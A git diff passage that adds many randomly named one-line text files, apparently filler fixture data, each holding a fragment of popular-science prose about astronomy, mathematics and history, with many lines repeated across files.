+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/udwgbdgnbsn.txt
@@ -0,0 +1 @@
+Earth. Most of them are in the ancient lunar highlands and date from the time of the final
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/vgwdznhltznnunikzqufzar.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/vgwdznhltznnunikzqufzar.txt
new file mode 100644
index 0000000..7cb791a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/vgwdznhltznnunikzqufzar.txt
@@ -0,0 +1 @@
+cannot be expressed accurately as the ratio of any two whole numbers, no matter how big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/vrtqajhzsfmnqcaiwfgiww.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/vrtqajhzsfmnqcaiwfgiww.txt
new file mode 100644
index 0000000..3c5042c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/vrtqajhzsfmnqcaiwfgiww.txt
@@ -0,0 +1 @@
+moment, for a nuclear explosion. The cometary impact and fireball would simulate all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/wahzagqlxljilazymtcsjtuf.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/wahzagqlxljilazymtcsjtuf.txt
new file mode 100644
index 0000000..e1c5a73
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/wahzagqlxljilazymtcsjtuf.txt
@@ -0,0 +1 @@
+then glancing idly at a star we call the Sun and entertaining, for just a moment, an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/wkuuqznxvagqibrrhvbkoez.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/wkuuqznxvagqibrrhvbkoez.txt
new file mode 100644
index 0000000..a30f844
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/wkuuqznxvagqibrrhvbkoez.txt
@@ -0,0 +1 @@
+In a few hours I had brought my eyes to such a pass that I could look upon no bright
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/xxqajctkzgmomeeqmadet.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/xxqajctkzgmomeeqmadet.txt
new file mode 100644
index 0000000..6aa2a94
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/xxqajctkzgmomeeqmadet.txt
@@ -0,0 +1 @@
+Holland, represent an extension of human vision to the realms of the very small and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/yxnsmrrpcinea.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/yxnsmrrpcinea.txt
new file mode 100644
index 0000000..818955d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/folder_fjykjmkood/yxnsmrrpcinea.txt
@@ -0,0 +1 @@
+can be written as the product or multiplication of a number of factors, each a kind of filter,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_ajhwjotvqhnps.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_ajhwjotvqhnps.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_ajhwjotvqhnps.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_bbkfqkwglpqk.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_bbkfqkwglpqk.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_bbkfqkwglpqk.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_bguhkaxeitfas.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_bguhkaxeitfas.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_bguhkaxeitfas.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_cymnvzzqzuyxocmvbjxcc.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_cymnvzzqzuyxocmvbjxcc.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_cymnvzzqzuyxocmvbjxcc.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_dmdkgbuldzhetveqbsogenr.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_dmdkgbuldzhetveqbsogenr.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_dmdkgbuldzhetveqbsogenr.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_eeewcpylimqsxdapeaeuoyq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_eeewcpylimqsxdapeaeuoyq.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_eeewcpylimqsxdapeaeuoyq.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_fcxlagcmpvzkyvdweinhnskp.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_fcxlagcmpvzkyvdweinhnskp.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_fcxlagcmpvzkyvdweinhnskp.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_ffibfoetzkklwfzvbyrdvtl.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_ffibfoetzkklwfzvbyrdvtl.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_ffibfoetzkklwfzvbyrdvtl.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_gqnaixntkvvofjufejqsp.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_gqnaixntkvvofjufejqsp.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_gqnaixntkvvofjufejqsp.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_hejckmmrlamqxfpw.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_hejckmmrlamqxfpw.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_hejckmmrlamqxfpw.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_lgzkhqvnu.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_lgzkhqvnu.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_lgzkhqvnu.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_mfskuqsfujufwwss.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_mfskuqsfujufwwss.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_mfskuqsfujufwwss.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_olwhwzoxbr.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_olwhwzoxbr.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_olwhwzoxbr.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_qxtilvaldimanblbtfhfq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_qxtilvaldimanblbtfhfq.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_qxtilvaldimanblbtfhfq.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_rxqvhsnpzsrhmfaydi.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_rxqvhsnpzsrhmfaydi.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_rxqvhsnpzsrhmfaydi.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_thkxjexvsggywq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_thkxjexvsggywq.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_thkxjexvsggywq.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_tijkrptgbjdmixyttqvr.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_tijkrptgbjdmixyttqvr.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_tijkrptgbjdmixyttqvr.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_tsxlthjdeidbvzaylwifosuh.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_tsxlthjdeidbvzaylwifosuh.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_tsxlthjdeidbvzaylwifosuh.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_ulfmbztavwwoqlhwatmvgao.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_ulfmbztavwwoqlhwatmvgao.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_ulfmbztavwwoqlhwatmvgao.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_vpaznyrhboaopcvqlvdrivd.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_vpaznyrhboaopcvqlvdrivd.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_vpaznyrhboaopcvqlvdrivd.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_vvkhxubcdpgx.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_vvkhxubcdpgx.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_vvkhxubcdpgx.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_wpqkzpuvagkcdkqsvyikwi.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_wpqkzpuvagkcdkqsvyikwi.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_wpqkzpuvagkcdkqsvyikwi.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_xutnmckdvmsbfbq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_xutnmckdvmsbfbq.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_xutnmckdvmsbfbq.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/file_yvbscujyw.txt b/big_zip/big-zip-files/folder_ovlozxgwts/file_yvbscujyw.txt
new file mode 100644
index 0000000..e55cc48
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/file_yvbscujyw.txt
@@ -0,0 +1 @@
+monuments of that ancient civilization. The hieroglyphic inscriptions roused the boy’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_aficmsmgkoqtugxkpaws.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_aficmsmgkoqtugxkpaws.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_aficmsmgkoqtugxkpaws.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_aydmiiysjgbpo.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_aydmiiysjgbpo.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_aydmiiysjgbpo.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_bmquekiksrub.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_bmquekiksrub.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_bmquekiksrub.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_dnvinlwmwx.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_dnvinlwmwx.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_dnvinlwmwx.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fdehsfovbpxm.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fdehsfovbpxm.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fdehsfovbpxm.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fsezmwklsjif.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fsezmwklsjif.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fsezmwklsjif.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fyudovlytkmytisjwduowq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fyudovlytkmytisjwduowq.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_fyudovlytkmytisjwduowq.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_gizglninns.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_gizglninns.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_gizglninns.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_lbqngtitlbmkm.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_lbqngtitlbmkm.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_lbqngtitlbmkm.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_lehaevdrouv.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_lehaevdrouv.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_lehaevdrouv.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_qdjjtxpm.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_qdjjtxpm.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_qdjjtxpm.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_rgfwwofnoecwj.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_rgfwwofnoecwj.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_rgfwwofnoecwj.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_rwtkweelz.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_rwtkweelz.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_rwtkweelz.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_tausgcldefkaeojrjktdc.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_tausgcldefkaeojrjktdc.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_tausgcldefkaeojrjktdc.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_tvenvcmoiinyacr.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_tvenvcmoiinyacr.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_tvenvcmoiinyacr.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_uuqldqlgyqqlrrnjtym.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_uuqldqlgyqqlrrnjtym.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_uuqldqlgyqqlrrnjtym.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vbhtodswh.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vbhtodswh.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vbhtodswh.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vpvskuyvwadf.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vpvskuyvwadf.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vpvskuyvwadf.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vspxciugruvdlpybbxedglaa.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vspxciugruvdlpybbxedglaa.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_vspxciugruvdlpybbxedglaa.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_xmufigtiwmhsmefwthbthuoq.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_xmufigtiwmhsmefwthbthuoq.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_xmufigtiwmhsmefwthbthuoq.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_yqdevtrnoyqwx.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_yqdevtrnoyqwx.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_yqdevtrnoyqwx.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_zczyvvtpslkkouzngte.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_zczyvvtpslkkouzngte.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_zczyvvtpslkkouzngte.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_zscqlbrmkaeakmcknn.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_zscqlbrmkaeakmcknn.txt
new file mode 100644
index 0000000..063b548
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/file_zscqlbrmkaeakmcknn.txt
@@ -0,0 +1 @@
+offensive act in the social life of galaxies? It seemed much more likely that the universe
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/brqwyzjmpwpccnxhnaihwoj.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/brqwyzjmpwpccnxhnaihwoj.txt
new file mode 100644
index 0000000..b5a0ed4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/brqwyzjmpwpccnxhnaihwoj.txt
@@ -0,0 +1 @@
+than thousands. We have made about one-tenth of one percent of the required effort. But a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/cybqqwzn.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/cybqqwzn.txt
new file mode 100644
index 0000000..3e19de0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/cybqqwzn.txt
@@ -0,0 +1 @@
+1556
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/datpgcjdkgec.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/datpgcjdkgec.txt
new file mode 100644
index 0000000..26a308f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/datpgcjdkgec.txt
@@ -0,0 +1 @@
+of social, political, religious and philosophical issues. Even in the filming of a television
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/eikmylmwajcfrxykcbwcdwya.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/eikmylmwajcfrxykcbwcdwya.txt
new file mode 100644
index 0000000..91fe8b9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/eikmylmwajcfrxykcbwcdwya.txt
@@ -0,0 +1 @@
+only rarely, fortunately, does one of them infect one of us and cause this dread disease.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_fyvteowvjrrrbztvt.txt b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_fyvteowvjrrrbztvt.txt
new file mode 100644
index 0000000..0b04064
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ovlozxgwts/folder_nqyuvaxlha/folder_pmjvvbpopo/file_fyvteowvjrrrbztvt.txt
@@ -0,0 +1 @@
+Aristarchus, and our language still pretends that the Earth does not turn.
\ No newline at end of file
